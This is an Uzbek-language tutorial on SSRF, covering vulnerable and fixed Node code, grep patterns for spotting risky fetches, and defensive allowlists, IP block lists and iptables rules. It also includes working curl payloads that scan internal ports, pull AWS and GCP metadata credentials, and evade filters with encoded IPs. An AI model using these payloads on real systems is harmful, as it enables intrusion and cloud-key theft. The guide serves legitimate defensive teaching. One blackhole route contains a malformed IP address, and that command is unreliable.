🌐
SSRF — server orqali so'rov
Ichki tarmoqqa kirish
1
Maqsad
Hujumchi serverga o'z nomidan so'rov yuborishga majburlaydi. Server ichki tarmoqqa kiradi — bu tarmoq internetga ochiq emas.
| Nishon | Oqibat |
|---|---|
169.254.169.254 (bulut metadata) | Kalitlarning o'g'rilishi |
127.0.0.1:6379 | Redis'ga kirish |
127.0.0.1:9200 | Elasticsearch — fayl o'qish |
10.0.0.x | Ichki admin panel |
2
Tushuntirish
// XAVFLI const r = await fetch(req.query.url); // hujumchi halqasiga res.json({ data: await r.text() }); // TO'G'RI const ALLOW = ['https://api.example.com']; const u = new URL(req.query.url); if (!ALLOW.includes(u.origin)) return fail(); const r = await fetch(u);
Bulut metadata — eng katta xavf
AWS, GCP, Azure, DigitalOcean — hammasida
169.254.169.254 orqali kalitlar beriladi. SSRF orqali
butun bulut hisobingizni o'g'rish mumkin.
3
Qanday aniqlanadi
# 1) kodda serverdan chiqadigan so'rovlar grep -rnE "fetch\(|axios|http\.get|requests\.|urlopen|urllib" src/ | grep -v node_modules # 2) foydalanuvchi URL'i ichkariga o'tadimi? grep -rnE "(fetch|axios|get)\(.*(req\.query|req\.body|params)" src/ # 3) webhook / preview / import funksiyalari grep -rniE "webhook|preview|import|fetch.?url|callback.?url|image.?url" src/ | head
4
Buyruqlar
# 1) localhost — server o'zini ko'rsatadi curl -s "https://site.uz/api/fetch?url=http://127.0.0.1/" curl -s "https://site.uz/api/fetch?url=http://localhost:22/" # 2) ichki portlar for P in 6379 3306 5432 9200 8080 8000 11211 27017; do R=$(curl -s -m 4 "https://site.uz/api/fetch?url=http://127.0.0.1:$P/") [ -n "$R" ] && echo " 127.0.0.1:$P → ochiq! $(echo $R | head -c 50)" done # 3) bulut metadata (ENG MUHIM) curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/meta-data/" curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/user-data/" curl -s "https://site.uz/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" # 4) GCP metadata curl -s "https://site.uz/api/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # 5) DNS orqali IP o'zgartirish (filtrni chidamli qilish) curl -s "https://site.uz/api/fetch?url=http://127.0.0.1.nip.io/" curl -s "https://site.uz/api/fetch?url=http://0177.0.0.1/" # oktal curl -s "https://site.uz/api/fetch?url=http://0x7f000001/" # hex
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Ichki port javobi keldi (Redis/ES/MySQL banner) | **SSRF tasdiqlandi** |
`169.254.169.254` metadatası | **Bulut kaliti ochiq — jiddiy** |
`instance-role` / `AccessKeyId` chiqdi | **AWS kaliti sizib chiqdi** |
Yangi IP 200 qaytardi (2000-01-01) | **Blind SSRF** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`403 / not allowed` xabari | Oq ro'yxat ishlayapti |
`ECONNREFUSED` | Port yopiq — bu SSNI emas, oddiy xato |
Hech narsa qaytarmadi | Blind SSRF ehtimoli (DNS orqali tekshirish kerak) |
Faqat `https://` ruxsat etilgan | **Yaxshi** — protokol ham tekshiriladi |
6
Zararni yopish
1. Oq ro'yxat — to'g'ri yechim
const ALLOW = new Set(['https://api.meeshar.uz', 'https://cdn.meeshar.uz']);
const u = new URL(req.query.url);
if (u.protocol !== 'https:') return fail();
if (!ALLOW.has(u.origin)) return fail(); // substring emas, aynan
2. DNS orqali o'tishni to'xtatish
const dns = require('dns');
const ip = await new Promise((res, rej) =>
dns.lookup(u.hostname, (e, a) => e ? rej(e) : res(a)));
const BLOCK = ['127.', '10.', '192.168.', '172.16.', '169.254.', '0.0.0.0', '::1'];
if (BLOCK.some(b => ip.startsWith(b))) return fail();
if (isPrivate(ip)) return fail(); // IPv6 uchun ham
3. Tarmoq darajasida
# metadata'ga tarmoq yo'lini taqiqlash (butun server uchun) sudo iptables -A OUTPUT -d 169.254.169.254 -j DROP sudo ip route add blackhole 169.254.254.169.254 # Docker da --network="none" # yoki --add-host="metadata.google.internal:127.0.0.1"
4. Qo'shimcha
- Javob hajmini chegilang (10 KB dan katta qaytarmasin)
- Redirect'larni ham tekshiring (birinchi ruxsat, ikkinchisi boshqa domen)
- Faqat kerakli metodlarni ruxsat bering (faqat GET)
7
Tekshirish ro'yxati
- Faqat oq ro'yxatdagi domenlar ruxsat etilgan
- `127.0.0.1`, `10.x`, `192.168.x`, `169.254.x` bloklangan
- DNS resolve'dan keyin IP tekshiriladi
- `file://`, `gopher://`, `dict://` rad etiladi
- Redirect kuzatiladi (ichki domenga olib bormaydi)
- Metadata IP tarmoq darajasida yopilgan
- `169.254.169.254` bilan test qilindi